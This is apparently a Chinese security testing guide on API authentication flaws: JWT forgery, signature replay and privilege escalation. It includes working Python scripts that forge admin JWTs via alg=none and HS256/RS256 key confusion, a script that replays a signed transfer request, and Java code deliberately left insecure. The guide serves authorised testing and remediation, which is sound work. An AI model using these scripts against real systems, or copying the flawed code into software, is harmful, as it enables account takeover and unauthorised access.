接口鉴权与签名测试:从绕过手法到验证代码¶
鉴权测试的目标不是“能否登录”,而是“能否用别人的身份、过期的凭证、伪造的签名拿到数据”。
1. JWT 的五个真实攻击面¶
一个典型的 JWT:
解码:
python - <<'PY'
import base64, json
t = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDEsInJvbGUiOiJ1c2VyIn0"
for p in t.split("."):
print(json.loads(base64.urlsafe_b64decode(p + "=" * (-len(p) % 4))))
PY
1.1 alg=none¶
把 header 改成 {"alg":"none","typ":"JWT"},签名段留空:
import base64, json
def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64({"alg": "none", "typ": "JWT"})
payload = b64({"uid": 1001, "role": "admin"})
print(f"{header}.{payload}.")
如果服务端仍返回 200,说明它信任了 token 自带的算法。修复:服务端写死允许的算法,不要读 header。
1.2 HS256 / RS256 混淆¶
服务端用 RS256 公钥验签,攻击者把 alg 改成 HS256,用公钥字符串当 HMAC 密钥签名。若库按 header 选算法,验签会通过。
验证思路(授权环境):拿到 /.well-known/jwks.json 或公钥 PEM,尝试:
import hmac, hashlib, base64, json
def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
public_pem = open("public.pem", "rb").read()
header = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64(json.dumps({"uid": 1001, "role": "admin"}).encode())
signing_input = f"{header}.{payload}".encode()
sig = b64(hmac.new(public_pem, signing_input, hashlib.sha256).digest())
print(f"{header}.{payload}.{sig}")
修复:按 kid 选择密钥,并校验 alg 属于该密钥允许的类型。
1.3 不校验过期¶
import jwt, datetime
token = jwt.encode({"uid": 1001, "exp": datetime.datetime.utcnow() - datetime.timedelta(days=1)},
"secret", algorithm="HS256")
拿过期 token 请求,预期 401。如果还能用,检查是否只做了签名校验没验证 exp/nbf。
1.4 密钥可猜¶
测试时先看密钥是否形如 secret、123456、项目名。修复:≥256 bit 随机密钥,定期轮换。
1.5 登出不失效¶
退出登录后再用旧 token 请求。JWT 无状态,若不维护黑名单或短过期,旧 token 一直有效。修复:jti + Redis 黑名单,或 access token 15 分钟 + refresh token 轮换。
2. AK/SK 签名:重放与排序¶
典型签名:
stringToSign = method + "\n" + path + "\n" + sortedQuery + "\n" + timestamp + "\n" + nonce + "\n" + sha256(body)
signature = base64(hmac_sha256(secretKey, stringToSign))
测试点与可复现做法:
| 测试 | 操作 | 预期 |
|---|---|---|
| 参数篡改 | 改 body 金额后沿用旧签名 | 401/403 |
| 重放 | 原样重发同一请求(同 nonce) | 第二次拒绝 |
| 时间窗 | 把 timestamp 改到 10 分钟前 | 拒绝 |
| 排序差异 | 加一个参数但不重排签名 | 拒绝 |
| 空 body | GET 请求 body 哈希规则 | 与服务端一致 |
| 密钥泄漏 | 反编译 App/前端找 secret | 不应存在 |
重放脚本:
import requests, time
req = {
"method": "POST",
"url": "https://api.example.com/api/v1/transfer",
"headers": {"X-Signature": "...", "X-Timestamp": "...", "X-Nonce": "abc123"},
"json": {"to": "u2", "amount": "100.00"},
}
for i in range(3):
r = requests.request(**req, timeout=5)
print(i, r.status_code, r.text[:120])
time.sleep(0.2)
三次都成功 = 无防重放。
3. 越权的系统化验证¶
准备两个账号:userA(普通)、userB(普通)、admin(管理员)。
import requests
BASE = "https://api.example.com"
A = {"Authorization": "Bearer <tokenA>"}
B = {"Authorization": "Bearer <tokenB>"}
# 1. 水平越权:A 读 B 的订单
r = requests.get(f"{BASE}/api/orders/20002", headers=A, timeout=5)
print("horizontal", r.status_code, r.text[:100])
# 2. 垂直越权:普通用户调管理接口
r = requests.post(f"{BASE}/api/admin/users/1001/disable", headers=A, timeout=5)
print("vertical", r.status_code, r.text[:100])
# 3. 批量接口混入他人 ID
r = requests.post(f"{BASE}/api/orders/export",
headers=A, json={"ids": [20001, 20002, 20003]}, timeout=5)
print("batch", r.status_code, r.text[:200])
判断标准:
- 返回 200 且包含他人数据 → 越权成立
- 返回 403 → 正常
- 返回 404 → 可能做了归属校验,也可能接口不存在,需要进一步确认
- 返回 500 → 通常是空指针,说明代码假设“资源一定属于当前用户”
容易漏的接口:导出、下载、消息详情、关联查询(通过订单查用户)、文件预览、多租户 tenantId 可改。
4. 常见鉴权实现错误(Java)¶
// 错误 1:信任客户端传的 userId
@GetMapping("/orders")
public List<Order> list(@RequestParam Long userId) {
return orderService.listByUser(userId); // 任何人可查任何人
}
// 正确:从认证上下文取
@GetMapping("/orders")
public List<Order> list(@AuthenticationPrincipal LoginUser user) {
return orderService.listByUser(user.getId());
}
// 错误 3:归属校验写成“存在即可”
Order o = orderMapper.selectById(id);
if (o != null) { return o; } // 没有 o.userId == currentUser.id
5. 验证修复是否到位¶
- 拿 A 的 token 遍历所有带 ID 的接口,替换为 B 的资源 ID,全部应 403/404
- 过期 token、
alg=nonetoken、篡改 payload 的 token 全部 401 - 同一签名请求重放 3 次,只有第一次成功
- 退出登录后旧 token 立即失效
- 用低权限账号访问 Swagger 中所有
/admin/**接口,全部拒绝